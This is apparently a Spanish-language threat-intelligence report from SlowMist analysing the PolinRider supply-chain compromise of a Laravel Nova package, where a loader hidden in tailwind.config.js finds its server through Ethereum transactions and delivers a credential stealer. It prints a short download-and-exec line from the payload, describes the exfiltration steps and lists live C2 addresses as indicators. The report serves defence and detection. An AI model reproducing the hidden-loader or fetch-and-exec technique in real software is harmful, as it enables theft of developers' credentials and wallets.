Contexto

La muestra proviene de una rama de desarrollo del paquete de extensión de Laravel Nova `visanduma/nova-two-factor`, que pertenece a la campaña PolinRider. Es un paquete PHP publicado en Packagist; al momento del análisis de este artículo, las descargas acumuladas ya superaban las 700.000 veces.

La cadena de entrega no escribe la dirección C2 en el código de muestra. El código implantado primero consulta Ethereum; a partir de la dirección de recepción de una transacción, extrae las IP de dos servidores, y luego recupera la carga posterior mediante HTTP. Para que el atacante cambie de servidor, solo necesita publicar una transacción nueva en la cadena; no es necesario volver a envenenar este paquete.

El destino de esta cadena es un capturador de credenciales multiplataforma que recopila cuentas y cookies del navegador, datos de carteras cifradas, bases de datos de gestores de contraseñas y credenciales de desarrollo.

La carga útil remota obtenida en esta ocasión se obtuvo mediante la solicitud real de esta ronda y se decodificó fuera de línea. La decodificación solo realiza transformaciones XOR, zlib y base64; no se ejecutó ninguna descarga de contenido. Las conclusiones del análisis provienen del código estático y la respuesta remota, y aún no hay evidencia en la parte de la víctima que demuestre que estas acciones de robo se hayan producido con éxito.

Respuesta de MistEye

MistEye es un sistema de inteligencia de amenazas Web3 y monitoreo de seguridad dinámica desarrollado de forma independiente por SlowMist. Integra capacidades de monitoreo de seguridad y agregación de inteligencia, y ofrece a los usuarios alertas de riesgo en tiempo real y protección de activos.

MistEye sincronizó el riesgo en el momento oportuno mediante el envío de inteligencia y los canales de alertas para clientes.

A continuación, se presenta un análisis técnico detallado.

cadena de ataque

En la imagen de arriba se muestra el diagrama de relaciones reconstruido con base en el código y los resultados de la captura.

De la configuración en una sola línea a la localización en la cadena

El código implantado está escondido al final del archivo de configuración. Las primeras 10 líneas del archivo son una configuración Tailwind normal; la línea 11 cierra de forma normal con el final de la instrucción };, luego siguen 507 espacios; después de los espacios es cuando empieza la ejecución del código. Esta cadena de espacios hace que la ventana estrecha muestre aparentemente solo un final normal, pero no cambia la semántica de ejecución de JavaScript: asignar un valor a module.exports no termina la ejecución del módulo. El punto de activación también está dentro del propio sample: los scripts de package.json como development, watch, production, etc. apuntan todos a Laravel Mix; webpack.mix.js pasa tailwind.config.js como ruta de configuración al plugin de PostCSS; Tailwind 3.1.8 lee esta configuración en setupTrackingContext.js mediante require(userConfigPath), y en esta etapa se ejecuta el código de nivel superior del módulo de configuración.

El loader obtiene la dirección C2 actual mediante transacciones en Ethereum. El atacante codifica dos direcciones IPv4 en la dirección de recepción de la transacción; el sample extrae esa información de las transacciones provenientes de una dirección de envío fija y, luego, descarga la carga útil posterior mediante HTTP. Así, el atacante puede publicar nuevas transacciones para actualizar la dirección del servidor de entrega, sin necesidad de modificar los archivos de configuración ya implantados.

Primero, el código implantado inicializa sus propias variables globales y luego ejecuta una consulta en la cadena. La consulta lee el campo to de la transacción: se elimina el prefijo 0x y se restaura a 20 bytes en hexadecimal. Los primeros 4 bytes son un IPv4; del byte 4 al 8 es el segundo; y los últimos 12 bytes, esa parte del código no se usa. El resultado realmente decodificado en esta ronda es 166[.]88[.]134[.]75. Los dos IP son iguales; los últimos 12 bytes contienen una marca en claro: helloipbot!!.

El loader realiza consultas de transacciones candidatas alrededor de los límites de cada millar de bloques, y extrae direcciones C2 codificadas de esas transacciones. Los datos en la cadena muestran que esta consulta depende de que el atacante mantenga un pulso (heartbeat): en cada límite cercano a un millar existe una nueva transacción; en esta ronda, las 392 transacciones recuperadas son todas de transferencia de cero, con calldata vacío; gasUsed es 21000 en todas ellas. La única información que contienen es la propia dirección to. La dirección también cambia periódicamente; los últimos cinco periodos se corresponden respectivamente con 166[.]88[.]134[.]62、23[.]27[.]13[.]135、166[.]88[.]73[.]46、193[.]247[.]144[.]38 y la de esta ronda 166[.]88[.]134[.]75。

Tras completar la localización, el código envía una solicitud al puerto 443 de la IP decodificada y recupera las rutas /0x/cls y /0x/ls. Hay un detalle fácil de confundir por los números de puerto: el scheme de la URL es http:, se llama a http.request; el 443 solo es el puerto, no hay TLS. Las dos cargas útiles, después de decodificarlas mediante XOR en bucle, se entregan a la misma función de ejecución y se ejecutan en un subproceso Node separado. La ruta de /0x/cls también evalúa una vez en el proceso actual antes de iniciar el subproceso; si esta evaluación produce un error, sale el proceso o no devuelve respuesta durante mucho tiempo, el subproceso posterior no necesariamente llegará a ejecutarse.

Cabe mencionar que utilizamos MistTrack para analizar la dirección maliciosa 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a; su capital inicial proviene de FixedFloat.

图片

Tres herramientas, tres funciones

Las dos rutas de carga finalmente corresponden a tres componentes. Hay más interfaces que componentes, porque algunas interfaces proporcionan el mismo contenido mediante codificaciones diferentes o rutas alternativas: el campo body de la respuesta de /0x/clb y el cuerpo de la respuesta de /0x/cb, una vez decodificados por separado, obtienen el mismo código; el contenido de /0x/js es byte por byte idéntico al campo inz en la respuesta.

/0x/cls recupera un componente de control remoto clb, con un canal de instrucciones Socket.IO. Puede recuperar Python en la dirección especificada por el operador y ejecutarlo. El loader responsable de obtener y ejecutar clb, cls, también incluye una lógica de reenvío en caso de fallo: si ocurre un error, concatena os.hostname(), os.userInfo().username, os.type() y os.release() en un texto y hace POST a /verify-human/<marcado>.

El campo inz en la misma respuesta, así como la copia proporcionada por separado en /0x/js, son el cargador de reinfección inz. Este usa ofuscación mediante codificación de cadenas en múltiples capas, aplanamiento del flujo de control impulsado por el estado de arrays y distribución indirecta de funciones. Después de expandirla de forma estática, se observa que trae su propia lógica de localización en la cadena: usa la misma dirección de remitente de Ethereum y el mismo campo to, convierte a una dirección IPv4, y solicita /0x/cls para recuperar el componente de control remoto; una vez obtenido, lo ejecuta en el proceso actual o en un subproceso separado. El componente de control remoto clb también tiene la capacidad de escribirlo en el script de la aplicación anfitriona; cuando la aplicación anfitriona cargue ese código más adelante, volverá a entrar en este flujo de localización y carga.

/0x/ls recupera el componente de carga Python boot. La restauración estática muestra que boot sube algunas variables de entorno a /snv y, luego, inicia la descarga de la carga útil posterior mediante Python.

url = f'{{GLOBAL_H}}/$/{id}'        # id fijo en '1'

Request._code = urlopen(Request(url, headers=H)).read().decode('utf-8')

exec(Request._code)

Si falla urlopen, se retrocede al curl del sistema. El texto obtenido por las dos rutas se entrega a exec sin ninguna validación.

En esta ronda, al solicitar estas rutas, el servidor devolvió respuestas inconsistentes. HEAD /$/1 devuelve 404; GET /$/1 devuelve 200 y un cuerpo de 36.485 bytes. El campo Last-Modified es igual al instante de cada solicitud. Solicitando de la misma manera /d/python.zip, /d/python.7z y /d/7zr.exe, las tres rutas devolvieron 500.

Robo de credenciales multiplataforma

La última carga útil obtenida en esta ocasión, tras decodificar Base64 y descomprimir con zlib, es un script de Python de 89.149 bytes.

Esta carga útil está dirigida a datos sensibles accesibles para la cuenta de ejecución. Incluye tanto la lógica de extracción y descifrado de credenciales de inicio de sesión como la copia directa de archivos de carteras, administradores de contraseñas y herramientas de desarrollo. Los objetivos de recopilación en el código se dividen principalmente en las siguientes cinco categorías.

  • Cuentas del navegador, sesiones e información de pago: cubre navegadores Chromium como Chrome, Edge, Brave y Arc, así como Firefox. Lee bases de datos de inicio de sesión, Cookies y Web Data e intenta descifrar y exportar. Algunas rutas de Chromium también involucran datos de tarjetas de pago; además, incluye la lógica de copia de la configuración de Firefox y datos de extensiones.

  • Datos de carteras cifradas y aplicaciones de cartera: archivos de carteras como Exodus, Electrum, Atomic, Monero, etc.; id.json de Solana; almacenamiento de extensiones como MetaMask y Phantom; y datos de aplicaciones de escritorio como Ledger Live y Trezor Suite. Busca y copia archivos o directorios según rutas y IDs de extensiones predefinidos.

  • Datos de administradores de contraseñas: bases de datos locales, cachés y configuraciones de aplicaciones y extensiones como 1Password, Bitwarden, NordPass, KeePass/KeePassXC, Dashlane y LastPass. Copia los archivos y directorios que coinciden; algunas bases de datos SQLite se recopilan junto con los archivos de registro.

  • Credenciales de desarrollo y variables de entorno: archivos de credenciales de Git, hosts.yml de GitHub CLI, estado local de VS Code, registros de GitHub Desktop y variables de entorno del proceso actual. Copia los archivos y exporta las variables de entorno a JSON y texto; pueden incluir tokens de acceso inyectados por entornos de desarrollo o de construcción.

  • Almacenamiento de credenciales del sistema: el administrador de credenciales de Windows y las entradas del conjunto predeterminado de Linux Secret Service; llama a las interfaces del sistema para enumerar y trata de leer el contenido de las credenciales accesibles para la cuenta actual.

Para los datos del navegador, el malware no solo copia la base de datos original, sino que también incluye la lógica de llamar a Windows DPAPI, macOS Keychain y Linux Secret Service/KWallet para obtener materiales de descifrado, intentar restaurar campos sensibles y exportar texto en claro. Si el proceso logra o no éxito depende de si las claves o interfaces de descifrado requeridas están disponibles, de la autorización de acceso y de si el formato de datos del navegador es compatible.

El muestreo también busca rutas como /mnt/*/Users/*/AppData/... e intenta leer los directorios de usuario de Windows montados. Por lo tanto, el alcance de la recopilación podría extenderse a otras particiones del sistema a las que la cuenta actual pueda acceder; el contenido que realmente se puede leer sigue limitado por el estado de montaje y los permisos de archivos.

Los resultados de la recopilación se escriben en un directorio local y se empaquetan. El sample informa la información del host y el contador de recopilación a /u/e, y lee los parámetros de carga de Telegram en la respuesta; luego, sube el archivo a /u/f o, cuando se cumplen las condiciones del código, llama a Telegram sendDocument. La lógica de carga incluye reintentos, cambio de host y manejo de fragmentos; tras el éxito, intentará eliminar el archivo local empaquetado.

Este código también incluye dos auto-limitaciones. Cuando el código de respuesta es 429, sale directamente. Blocked (BOT) es la otra: si el malware no detecta su entorno Linux mediante el identificador WSL2, y además los contadores de credenciales del sistema, el contador de extensiones y el contador del perfil de Firefox son todos cero, registra esa marca y omite el resto del flujo principal de recopilación y carga. Antes de llegar a esa comprobación, el malware ya ejecutó la exportación de variables de entorno, enumeración de credenciales del sistema y un escaneo parcial de directorios.

Resumen

Lo confirmado es toda una cadena de entrega desde la configuración de compilación hasta el capturador de credenciales. La entrada es un loader añadido al final de tailwind.config.js, activado por la construcción del frontend. La localización no depende de dominios; lee el campo to de una transacción en Ethereum. La tercera fase está compuesta por tres componentes: el componente de control remoto clb, el loader de reinfección inz y el componente de carga boot encargado de extender hacia Python. El destino es un capturador de credenciales que cubre tres plataformas e incluye objetivos como credenciales del navegador, carteras cifradas, administradores de contraseñas y credenciales de desarrollo.

El riesgo recae en las máquinas de desarrollo, contenedores de compilación y CI runner donde se construye el frontend antes de ejecutarse. Mientras se haya ejecutado la compilación de ese proyecto en esa máquina, el loader tiene la oportunidad de ejecutarse; en cambio, una vez que el capturador se ejecuta, dentro del alcance de permisos de la cuenta de ejecución, se pueden leer credenciales del navegador, archivos de carteras y tokens de GitHub.

Recomendación

1. Revisa composer.lock del proyecto aguas abajo para confirmar si visanduma/nova-two-factor está en versiones maliciosas como dev-nova5, etc., y verifica mediante el hash de archivo las instantáneas del código fuente del paquete en cualquier momento, comparando con tailwind.config.js.

2. En las máquinas de desarrollo y los CI runner afectados, busca los registros de red durante la compilación. Cuando el proyecto se construye, el proceso Node realiza solicitudes JSON-RPC a múltiples RPC de Ethereum, y también envía HTTP en claro al puerto 443 de una IP directa. Además, la solicitud incluye el encabezado Sec-V.

3. Verifica si en la línea de comandos del proceso existe node -e y si el prefijo contiene global['_V'], así como también si hay un proceso de Python iniciado con py -c; en la ruta que se evalúa directamente no se genera un proceso nuevo. Solo comprobar node -e omite este tipo de ejecución.

4. Si se confirma que la construcción se ejecutó con éxito, trátese la máquina como si estuviera comprometida. En un entorno limpio, rote las contraseñas principales de los navegadores que hayan aparecido en esa máquina, las palabras mnemotécnicas y claves privadas de las carteras, los tokens de GitHub CLI y otras credenciales de control de versiones, y audite el acceso reciente a estas cuentas.

5. Conservar composer.lock, los objetos Git locales y el reflog, el tiempo de construcción, la versión de Node de ese momento y la respuesta original de la solicitud HTTP. Evita actualizar dependencias o reconstruir antes de terminar la investigación.

6. El bloqueo a nivel de red debe basarse en las IP de la sección de IOC de este artículo; no bloquees por completo y sin criterio todos los dominios de Telegram, porque se trata de un servicio público que fue reutilizado. Además, no te quedes solo en las IP: combina la investigación del host y de las cuentas para comprobar si en la máquina de compilación quedaron archivos de archivos empaquetados, exportaciones de variables de entorno y registros de conexiones anómalas.

IOC

IP

166[.]88[.]134[.]75
166[.]88[.]134[.]62
23[.]27[.]13[.]135
166[.]88[.]73[.]46
193[.]247[.]144[.]38

dirección de la cartera

0xa322e5f3d311d3080e6f0121063e9adc2490ef1a

Dependencia maliciosa

Packagist:visanduma/nova-two-factor@dev-nova4support
Packagist:visanduma/nova-two-factor@dev-main
Packagist:visanduma/nova-two-factor@dev-using-inertia
Packagist:visanduma/nova-two-factor@dev-nova5

archivo malicioso

filename: tailwind.config.js
SHA256: 515a53291d25d229e1f9fa72e66407e1cfd7e77c91478400b24d5185af68531a

Referencia

https://socket.dev/blog/polinrider-github-packagist

Acerca de MistEye

MistEye es una plataforma de inteligencia de amenazas Web3 y monitoreo de seguridad dinámica desarrollada de forma independiente por SlowMist. A través de API, ofrece capacidades de detección de actividades maliciosas y alertas de riesgo en la cadena de suministro dentro de un ecosistema de paquetes open source.

Todos los paquetes maliciosos y los IOC involucrados en esta operación se han integrado con el motor de detección de amenazas de MistEye. Los desarrolladores pueden realizar una detección automatizada de las dependencias del proyecto mediante la API, determinar rápidamente si se trata de paquetes maliciosos conocidos y obtener sugerencias de mitigación.

📖 Documentación API:https://app.misteye.io/api-docs

🛠️ MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan

Herramienta CLI ligera: con un solo comando, escanea las dependencias del proyecto y los paquetes instalados globalmente en busca de paquetes maliciosos conocidos. Admite los ecosistemas npm / PyPI / Cargo / Go / RubyGems.

🛠️ MistEye-Skills:https://github.com/slowmist/misteye-skills

Paquete de habilidades de seguridad para un asistente de codificación por IA; se activa automáticamente una detección de seguridad de MistEye antes de la instalación de dependencias y el acceso por URL.

🛠️ MistEye-DNS-Guard:https://github.com/slowmist/MistEye-DNS-Guard

Herramienta de protección de seguridad DNS que detecta dominios maliciosos y accesos con riesgo, e identifica amenazas de red como phishing y C2.

Este artículo ha sido redactado por el equipo de inteligencia de amenazas de SlowMist junto con el sistema de inteligencia de amenazas MistEye y el análisis impulsado por el agente AI de SlowMist. Si tienes cualquier pregunta, no dudes en consultar y enviar comentarios.